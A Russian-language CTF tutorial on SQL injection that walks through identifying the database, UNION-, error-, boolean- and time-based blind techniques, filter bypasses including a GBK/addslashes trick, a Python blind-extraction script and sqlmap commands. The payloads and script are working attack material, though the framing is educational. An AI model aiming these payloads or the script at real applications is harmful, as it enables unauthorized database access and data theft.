
На последнем CTF один таск за 300 очков висел нерешённым два часа — обычная SQL-инъекция в форме логина. Я вбил admin' в поле username, получил You have an error in your SQL syntax near ''', и через 11 минут сдал флаг. Ошибка 80% участников — не в незнании SQL, а в отсутствии системы: они копируют пейлоады из гугла, вставляют в поле ввода и удивляются тишине. Между «нашёл инъекцию» и «достал флаг» лежит цепочка конкретных шагов, и порядок этих шагов определяет — потратишь ты 5 минут или час. Разберём всю цепочку — от первой кавычки до финального дампа — руками и через sqlmap.
По классификации MITRE ATT&CK SQL-инъекция — это Exploit Public-Facing Application (T1190, Initial Access). В CTF это почти всегда единственный вектор: нашёл инъекцию → вытянул данные из базы (Data from Information Repositories, T1213, Collection — T1213 формально про доступ авторизованного пользователя к репозиториям, но в CTF это ближайший аналог) → забрал флаг. Даже внутри одного таска есть чёткая последовательность, и нарушать её — терять время:
Шаг 2 — самый критичный. Неправильно определил тип инъекции — полчаса подбираешь UNION-пейлоад на blind-задании, где результаты запроса вообще не отображаются. Согласно OWASP A03:2021 — Injection, SQL-инъекция держится в тройке самых распространённых уязвимостей веб-приложений, и в CTF она встречается от beginner до hard.
[Применимо: web CTF (DVWA, PortSwigger Web Academy, root-me.org, HackTheBox, PicoCTF). В реальном пентесте после SQLi начинается System Information Discovery (T1082) и чтение файлов — но в CTF цепочка обычно заканчивается на дампе таблицы.]
Первое действие на любом веб-таске — отправить одинарную кавычку ' во все видимые параметры: поля форм, GET-параметры URL, cookie (тут Burp Suite с --level=3 незаменим). Цель — получить реакцию, которая подтвердит инъекцию и раскроет тип СУБД.
Маркеры СУБД в сообщениях об ошибках:
| Фрагмент ответа | СУБД | Комментарий |
|---|---|---|
You have an error in your SQL syntax |
MySQL / MariaDB | Самый частый в CTF |
ERROR: syntax error at or near |
PostgreSQL | Встречается в PortSwigger-лабах |
near "...": syntax error |
SQLite | Часто в лёгких CTF-тасках |
Unclosed quotation mark |
MSSQL | Редко в CTF, чаще в реальных пентестах |
ORA-01756 |
Oracle | Почти не встречается в CTF |
Если ошибка не отображается — это ещё не значит, что инъекции нет. Сервер может глотать ошибки. Проверяй разницу в поведении: ' OR 1=1-- - может вернуть все записи, а ' OR 1=2-- - — пустой результат. Разное поведение = boolean-based blind injection.
Требования к окружению для воспроизведения примеров:
- ОС: Kali Linux 2024+, Ubuntu 22.04+, или любая ОС с Python 3.8+
- Инструменты: Burp Suite Community Edition, curl, браузер с DevTools
- sqlmap: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git (проект активно поддерживается — коммиты практически ежедневно)
- Целевая платформа: DVWA (локально через Docker), PortSwigger Web Academy (бесплатно, онлайн), или CTF-площадка
- RAM: минимум 4 ГБ для локальной DVWA в Docker; для онлайн-площадок — любая конфигурация
Прежде чем слепо вставлять пейлоады, определи контекст:
Строковый параметр — значение обёрнуто в кавычки в SQL-запросе: WHERE name = 'input'. Для инъекции нужно закрыть кавычку: ' UNION SELECT ...--.
Числовой параметр — значение подставляется как есть: WHERE id = input. Кавычка не нужна: 1 UNION SELECT ...--.
Как определить: если ' вызывает ошибку «unterminated string», а 1 AND 1=1 меняет поведение без кавычки — параметр числовой. Если наоборот — строковый. Это 30 секунд тестирования, которые экономят 10 минут подбора пейлоадов.
UNION-based — самая быстрая техника. Работает, когда приложение выводит результаты SQL-запроса на страницу. Оператор UNION позволяет прицепить второй SELECT к оригинальному запросу, и его результат появится в ответе. По данным PortSwigger Web Security Academy, UNION-атаки бесполезны при blind-инъекциях — там нет видимого вывода.
UNION SELECT требует совпадения числа столбцов в твоём запросе с оригинальным. Два способа:
ORDER BY (быстрый): отправляешь ' ORDER BY 1-- -, ' ORDER BY 2-- -, ' ORDER BY 3-- -. Когда сервер вернёт ошибку — столбцов на один меньше. Если ' ORDER BY 3-- - работает, а ' ORDER BY 4-- - падает с «Unknown column '4' in 'order clause'» — столбцов ровно три. Для больших таблиц используй бинарный поиск: проверь ORDER BY 10, потом ORDER BY 5, потом ORDER BY 7 — за 4 запроса найдёшь точное число даже при 20 столбцах.
UNION SELECT NULL (надёжный): отправляешь ' UNION SELECT NULL-- -, затем ' UNION SELECT NULL,NULL-- -, и так далее. Когда ошибка пропадёт — количество NULL совпало с числом столбцов. NULL совместим с любым типом данных, поэтому метод работает даже когда ORDER BY ведёт себя странно.
На практике начинаю с ORDER BY — на задании со стандартной СУБД это занимает 20 секунд. К UNION SELECT NULL перехожу, только если ORDER BY даёт непредсказуемые результаты (бывает при подзапросах в оригинальном SELECT).
Определили столбцы — теперь выясняем, какие из них видны на странице. Для трёх столбцов: ' UNION SELECT 'aaa','bbb','ccc'-- -. Если в ответе видишь bbb — второй столбец отображается, остальные молчат. Вся эксфильтрация пойдёт через него.
Последовательность запросов для MySQL:
' UNION SELECT NULL,version(),NULL-- - — подтвердить 5.7.x или 8.0.x' UNION SELECT NULL,database(),NULL-- - — узнать имя базы' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- - — список таблиц текущей базы' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name=0x7365637265745f666c616773-- - (hex-кодирование имени таблицы — чтобы избежать конфликта кавычек в строковом контексте)' UNION SELECT NULL,flag,NULL FROM secret_flags-- -Для SQLite всё иначе: information_schema не существует. Вместо шага 3: ' UNION SELECT NULL,sql,NULL FROM sqlite_master-- - — вернёт DDL-определения всех таблиц (CREATE TABLE statements), из которых видны имена столбцов. Это частая ловушка на CTF: задание на SQLite, а игрок долбится в information_schema и получает ошибку, не понимая почему.
Для PostgreSQL: information_schema работает, но version() возвращает длинную строку вида PostgreSQL 14.2 on x86_64.... Вместо database() — current_database().
Техника не работает в трёх случаях: результаты запроса не отображаются на странице (blind-сценарий); WAF или кастомный фильтр блокирует слово UNION; количество строк результата ограничено (оригинальный запрос с LIMIT 1). Для третьего случая помогает LIMIT 1 OFFSET N в injected-запросе — перебираешь строки по одной.
Error-based техника работает, когда сервер показывает ошибки СУБД, но не отображает результаты SELECT. По данным PortSwigger, этот подход «эффективно превращает слепую инъекцию в видимую» — данные оказываются внутри текста ошибки.
Для MySQL два классических приёма — extractvalue() и updatexml(). Конструкция ' AND extractvalue(rand(),concat(0x3a,(SELECT version())))-- - вызовет XPath-ошибку, в тексте которой будет результат вложенного SELECT. Для PostgreSQL работает CAST((SELECT column FROM table) AS int) — попытка привести строку к числу сломается и покажет строковое значение в ошибке.
Нюанс: extractvalue() обрезает вывод до ~32 символов. Если флаг длиннее — используй SUBSTRING: первый запрос с substring((SELECT flag FROM flags),1,32), второй с substring(...,33,32). Для PostgreSQL CAST-ошибка тоже обрезает, но обычно до 64 символов — для CTF-флагов хватает.
Ещё один трюк из соревнований: error-based через GROUP BY и FLOOR(RAND(0)*2). Пейлоад ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - вызовет ошибку «Duplicate entry» с версией СУБД в тексте. Работает на MySQL/MariaDB, на PostgreSQL и SQLite — нет.
Blind-инъекция — самый частый тип на CTF среднего и высокого уровня. Приложение уязвимо, но ты не видишь ни результатов запроса, ни ошибок СУБД. Единственный канал — разница в поведении сервера.
Принцип: задаёшь вопрос «да/нет» через SQL-условие и определяешь ответ по реакции сервера. Классический пример из PortSwigger: cookie TrackingId=xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1)>'m — если сервер возвращает «Welcome back», первый символ пароля больше m.
Алгоритм: для каждой позиции символа делаем бинарный поиск по ASCII-таблице. Проверка >m отсекает половину алфавита, >t или >g — ещё половину. За 6-7 запросов находим один символ. Для флага из 30 символов — около 200 запросов. Вручную это ад. Решение — скрипт:
# Boolean-based blind — бинарный поиск по символам
import requests
url = "http://target.ctf/page"
flag = ""
for pos in range(1, 50):
low, high = 32, 127
while low < high:
mid = (low + high) // 2
payload = f"' AND ASCII(SUBSTRING((SELECT flag FROM flags),{pos},1))>{mid}-- -"
r = requests.get(url, params={"id": payload})
if "Welcome" in r.text:
low = mid + 1
else:
high = mid
if low == 32: # Нет печатного символа — конец строки (надёжнее: предварительно узнать LENGTH())
break
flag += chr(low)
print(f"[+] {flag}")
Это шаблон. Меняешь URL, параметр, маркер true-ответа (Welcome) — и он работает для любого boolean-based blind CTF-таска. Бинарный поиск вместо линейного перебора сокращает запросы с ~95 до ~7 на символ. На 30-символьном флаге разница между 2700 и 210 запросами.
Когда сервер отвечает одинаково на любой ввод (нет визуальной разницы между true и false), остаётся time-based. Для MySQL: ' AND IF(SUBSTRING((SELECT flag FROM flags),1,1)='c',SLEEP(3),0)-- -. Если первый символ — c, ответ придёт через 3+ секунды. Нет — мгновенно.
Аналоги для других СУБД:
| СУБД | Функция задержки | Синтаксис |
|---|---|---|
| MySQL | SLEEP(N) |
IF(condition,SLEEP(5),0) |
| PostgreSQL | pg_sleep(N) |
CASE WHEN condition THEN pg_sleep(5) END |
| MSSQL | WAITFOR DELAY |
IF condition WAITFOR DELAY '0:0:5' |
| SQLite | нет нативной | CASE WHEN condition THEN (WITH RECURSIVE r(i) AS (SELECT 1 UNION ALL SELECT i+1 FROM r WHERE i<100000) SELECT count(*) FROM r) END |
SQLite — особый зверь: нет функции задержки, но можно нагрузить СУБД рекурсивным CTE с большим числом итераций. Задержка будет менее предсказуемой, чем SLEEP, но для CTF сойдёт.
Когда time-based НЕ работает: нестабильный интернет маскирует задержку SLEEP; CTF-платформа с жёстким rate-limiting (10 запросов в минуту); СУБД настроена с max_execution_time — запросы убиваются быстрее, чем SLEEP срабатывает. В таких условиях пробуй conditional errors: ' AND (SELECT CASE WHEN (condition) THEN 1/0 ELSE 'a' END)='a — деление на ноль вызовет HTTP 500 при true-условии.
Задания средней и высокой сложности почти всегда содержат фильтрацию. Типичные фильтры и обходы:
Фильтрация пробелов: заменяем на комментарий /**/. Вместо UNION SELECT — UNION/**/SELECT. Альтернативы: %09 (tab), %0a (newline), %0d (carriage return) в URL-параметрах.
Фильтрация SELECT / UNION: смена регистра SeLeCt, uNiOn. Если фильтр проверяет с нормализацией регистра — двойное написание: UNUNIONION SESELECTLECT (фильтр при однократной нерекурсивной замене, типа str_replace('UNION','',$input) в PHP, удалит подстроку UNION из середины и оставит UNION SELECT). Для рекурсивной или regex-based фильтрации этот трюк не пройдёт.
Фильтрация кавычек: hex-кодирование строк. Вместо WHERE table_name='users' — WHERE table_name=0x7573657273. Для MySQL 0x — нативный синтаксис hex-строк, по данным Invicti SQL Injection Cheat Sheet.
Фильтрация знака равенства: оператор LIKE вместо =. Вместо WHERE name='admin' — WHERE name LIKE 'admin'. Или WHERE name IN ('admin').
Фильтрация запятых: UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c — конструкция JOIN не требует запятых для объединения столбцов. Для SUBSTRING без запятых: SUBSTRING(str FROM pos FOR len).
Мультибайтовая кодировка (GBK): если СУБД работает в GBK-кодировке, а фильтрация использует addslashes(), можно обойти экранирование. Байт 0xbf перед кавычкой: addslashes() добавит бэкслеш 0x5c перед 0x27 (кавычка), но 0xbf5c — валидный символ GBK, и кавычка останется неэкранированной. Пример с root-me.org: admin%bf%27 OR 1=1-- - — байт 0xbf перед кавычкой 0x27 поглощает бэкслеш 0x5c, добавленный addslashes(), образуя валидный GBK-символ 0xbf5c, и кавычка проходит. Обход работает только при charset=gbk на соединении с MySQL и при использовании addslashes() вместо mysql_real_escape_string(). Экзотика, но на CTF-площадках вроде root-me такие задания встречаются.
sqlmap — открытый инструмент для автоматизации обнаружения и эксплуатации SQL-инъекций. По данным Vaadata, при пентесте sqlmap обычно запускают после ручного подтверждения инъекции — в CTF подход тот же. Сначала руками убедись, что инъекция есть, потом автоматизируй извлечение.
Типичный workflow в CTF:
Шаг 1 — подтверждение и определение типа: sqlmap -u "http://target.ctf/page?id=1" --dbms=mysql --batch. Флаг --dbms=mysql экономит десятки запросов, --batch отвечает на все вопросы автоматически.
Шаг 2 — список баз данных: добавляешь --dbs. sqlmap покажет все доступные базы.
Шаг 3 — таблицы: --tables -D ctf_database. Получишь список таблиц выбранной базы.
Шаг 4 — столбцы и дамп: -T secret_flags --columns, затем -T secret_flags -C flag --dump.
Флаги, которые критически важны для CTF:
--technique=U — только UNION-based. Ускоряет на порядок, если ты уже знаешь, что результаты видны на странице.--technique=T или --technique=B — только time-based или boolean-based для blind.--level=3 --risk=2 — расширить тестирование на cookie и заголовки, использовать более агрессивные пейлоады.-r request.txt — загрузить HTTP-запрос из файла Burp. Точку инъекции отмечаешь символом * в значении параметра.--string="Welcome" — для boolean blind: указать маркер true-ответа.--tamper=space2comment,randomcase — подключить tamper-скрипты для обхода фильтров.--delay=2 — задержка между запросами (против rate-limiting).sqlmap — не серебряная пуля. Ситуации, когда руками быстрее:
Нестандартный формат: JSON API, GraphQL, WebSocket. sqlmap ожидает стандартные GET/POST-параметры. Можно указать --data с *, но парсинг кастомных форматов ненадёжен.
Жёсткий rate-limiting: платформа банит после 50 запросов. sqlmap генерирует сотни. Даже с --delay=5 и --threads=1 может не хватить. Ручной бинарный поиск с Python-скриптом точнее и экономнее.
Second-order injection: пейлоад вводится в одном месте (например, в профиле пользователя), а срабатывает в другом (в отчёте администратора). sqlmap не поддерживает это из коробки.
Экзотические обходы: GBK-кодирование, кастомные WAF с нестандартными правилами. Tamper-скрипты покрывают типовые случаи, но на CTF среднего уровня фильтры часто заточены так, чтобы sqlmap не справился.
Моё правило: если sqlmap не нашёл инъекцию за 2 минуты — переходи к ручной работе. Нашёл, но не может вытащить данные — скорее всего, нужен кастомный tamper или ручной пейлоад.
Перед эксплуатацией потрать 60 секунд на классификацию:
Одинарная кавычка ' → ошибка SQL?
├── Да → Результаты SELECT видны на странице?
│ ├── Да → UNION-based (3-5 мин до флага)
│ └── Нет → Error-based: extractvalue / CAST (5-10 мин)
└── Нет → Ввёл ' OR 1=1-- - → поведение изменилось?
├── Да → Boolean-based blind (скрипт или sqlmap)
└── Нет → ' AND SLEEP(5)-- - → задержка 5 сек?
├── Да → Time-based blind (sqlmap --technique=T)
└── Нет → Другой параметр / cookie / заголовок
Эта схема покрывает 95% CTF-тасков на SQL-инъекции. Оставшиеся 5% — out-of-band (DNS-эксфильтрация через LOAD_FILE() с DNS-запросом) и second-order injection на hard/insane уровнях.
'version() vs @@version vs sqlite_version())ORDER BY N для подсчёта столбцов → UNION SELECT 'a','b','c' для нахождения видимых → information_schema.tables / sqlite_master для метаданных → дамп флагаextractvalue() или CAST() с вложенным SELECT--technique=B/T и --string/**/ вместо пробелов, смена регистра, hex-кодирование, LIKE вместо =X-Forwarded-For? JSON body?)Большинство CTF-игроков теряют время не потому, что не знают синтаксис UNION — а потому что пропускают шаг классификации и пробуют UNION-based там, где результаты запроса вообще не выводятся на страницу. Я видел это на десятках соревнований: человек 40 минут подбирает количество столбцов, не замечая, что сервер отвечает одинаковым шаблоном независимо от результата запроса. Это blind-инъекция, и UNION там не работает по определению.
Второе наблюдение из практики: ручная работа с SQL-инъекциями развивает понимание реляционных баз данных быстрее любого учебника. Когда сам выстраиваешь ORDER BY 3 и видишь, как запрос проходит, а ORDER BY 4 ломается — ты понимаешь структуру SELECT на уровне, который не даёт ни одна книга по SQL. sqlmap прячет эту механику за автоматизацией. Мой принцип: первые 15-20 CTF-тасков на SQLi — только руками. Без sqlmap, без готовых скриптов. Когда пальцы сами начнут набирать ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- - — тогда sqlmap становится ускорителем, а не костылём. А если хочешь пройти всю атаку от разведки до отчёта, а не отдельные таски — на WAPT эту цепочку разбирают в нескольких модулях с лабой на каждый вектор.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...